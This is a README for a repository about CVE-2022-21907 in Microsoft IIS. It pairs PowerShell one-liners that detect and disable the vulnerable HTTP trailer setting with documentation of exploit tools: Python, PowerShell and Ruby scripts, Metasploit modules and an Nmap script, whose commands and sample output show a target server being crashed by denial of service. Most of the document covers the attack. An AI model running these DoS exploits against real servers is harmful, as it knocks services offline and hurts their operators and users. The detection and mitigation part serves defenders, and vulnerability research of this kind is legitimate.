README.md

CVE-2022-21907

Description

1. This repository detects a system vulnerable to CVE-2022-21907 (CVSS:3.1 9.8) and protects against this vulnerability if desired. I offer 2 powershell codes in 1 line.
2. I propose pure python, powershell, ruby scripts and metasploit, nmap modules to attack a vulnerable IIS Web Server (perform a DOS attack to crash (blue screen) the server).

Detection and protection

Script

This script launch 2 online code for detection and 2 online for protection.

cmd> powershell ./detection_protection_cve2022_21907.ps1

CVE-2022-21907  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.

Not vulnerable to CVE-2022-2190
Not vulnerable to CVE-2022-2190
Not vulnerable to CVE-2022-2190
Not vulnerable to CVE-2022-2190

cmd>

Detect only (oneline)

$ErrorActionPreference="SilentlyContinue";$_=($(Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\  -Name EnableTrailerSupport).EnableTrailerSupport -or $(Write-Host "Not vulnerable to CVE-2022-2190")) -and $(Write-Host "$env:computername vulnerable to CVE-2022-2190 !")

$ErrorActionPreference="SilentlyContinue";$key=Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\  -Name EnableTrailerSupport;if($key -AND $key.EnableTrailerSupport -ne 0){echo "$env:computername vulnerable to CVE-2022-2190 !"}else{echo "Not vulnerable to CVE-2022-2190"}

Detect and protect (oneline)

Run this powershell line as administrator to protect your computer/server.

$ErrorActionPreference="SilentlyContinue";$_=($(Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\  -Name EnableTrailerSupport).EnableTrailerSupport -or $(Write-Host "Not vulnerable to CVE-2022-2190")) -and ($(Write-Host "$env:computername vulnerable to CVE-2022-2190 ! Change EnableTrailerSupport value to 0") -or $(Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\  -Name EnableTrailerSupport -Value 0))

$ErrorActionPreference="SilentlyContinue";$key=Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\  -Name EnableTrailerSupport;if($key -AND $key.EnableTrailerSupport -ne 0){echo "$env:computername vulnerable to CVE-2022-2190 ! Change EnableTrailerSupport value to 0";Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\  -Name EnableTrailerSupport -Value 0}else{echo "Not vulnerable to CVE-2022-2190"}

Exploit: DOS - BlueScreen

Demonstrations (using powershell scripts, metasploit and nmap) on youtube:

Python

python3 CVE202221907.py
# OR
chmod u+x CVE202221907.py
./CVE202221907.py

python3 CVE202221907.py <target>
# OR
chmod u+x CVE202221907.py
./CVE202221907.py <target>

python3 CVE202221907.py 10.10.10.10
# OR
chmod u+x CVE202221907.py
./CVE202221907.py 10.10.10.10:8000
# OR
python3 CVE202221907.py mywebservername

~# python CVE202221907.py

CVE-2022-21907  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.

Target: 10.10.10.10

[+] http://10.10.10.10 is UP. Send payload...
[+] http://10.10.10.10 is DOWN. 10.10.10.10 is vulnerable to CVE-2022-21907.

~# 

Powershell

powershell ./CVE-2022-21907.ps1
powershell ./CVE-2022-21907.ps1 mywebservername
powershell ./CVE-2022-21907.ps1 -Target 10.10.10.10

cmd> powershell ./CVE-2022-21907.ps1

cmdlet CVE-2022-21907.ps1 at command pipeline position 1
Supply values for the following parameters:
target: 10.10.10.10:8000

CVE-2022-21907  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.

cmd>

Ruby

ruby CVE-2022-21907.rb
ruby CVE-2022-21907.rb 10.10.10.10

~# ruby CVE-2022-21907.rb

CVE-2022-21907  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.

Host (target): 10.10.10.10
[+] Target: 10.10.10.10 is vulnerable and down.

~#

Metasploit

Python module

msf6 > use exploit/windows/iis/py_dos_iis_2022_21907
msf6 auxiliary(windows/iis/py_dos_iis_2022_21907) > set RHOST 10.10.10.10
RHOST => 10.10.10.10
msf6 auxiliary(windows/iis/py_dos_iis_2022_21907) > set RPORT 80
RPORT => 80
msf6 auxiliary(windows/iis/py_dos_iis_2022_21907) > exploit
[*] Running module against 127.0.0.1

[*] Starting server...
[*] py_dos_iis_2022_21907.py[10.10.10.10:80] - Trying first connection...
[*] py_dos_iis_2022_21907.py[10.10.10.10:80] - First connection OK. Sending payload...
[*] py_dos_iis_2022_21907.py[10.10.10.10:80] - Target is down ! Congratulations !
[*] Auxiliary module execution completed
msf6 auxiliary(windows/iis/py_dos_iis_2022_21907) >

Ruby module

msf6 > use exploit/windows/iis/rb_dos_iis_2022_21907 
msf6 auxiliary(windows/iis/rb_dos_iis_2022_21907) > set RHOST 10.10.10.10
RHOST => 10.10.10.10
msf6 auxiliary(windows/iis/rb_dos_iis_2022_21907) > exploit
[*] Running module against 10.10.10.10

[+] Target is down ! Congratulations !
[*] Auxiliary module execution completed
msf6 auxiliary(windows/iis/rb_dos_iis_2022_21907) >

Nmap

nmap -p 80 --script dos_iis_2022_21907 10.10.10.10

~# nmap -p 80 --script dos_iis_2022_21907 10.10.10.10
80/tcp open  http
| dos_iis_2022_21907:
|   VULNERABLE:
|   IIS CVE-2022-21907 DOS
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2022-21907
|                   The IIS Web Server contains a RCE vulnerability. This script
|                   exploits this vulnerability with a DOS attack
|                   (causes a Blue Screen).
|
|     Disclosure date: 2022-01-11
|     References:
|       https://nvd.nist.gov/vuln/detail/CVE-2022-21907
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21907
|_      https://github.com/mauricelambert/CVE-2022-21907

Sources

• Microsoft
• nvd.nist.gov
• Pure ruby script documentation

Licence

Licensed under the GPL, version 3.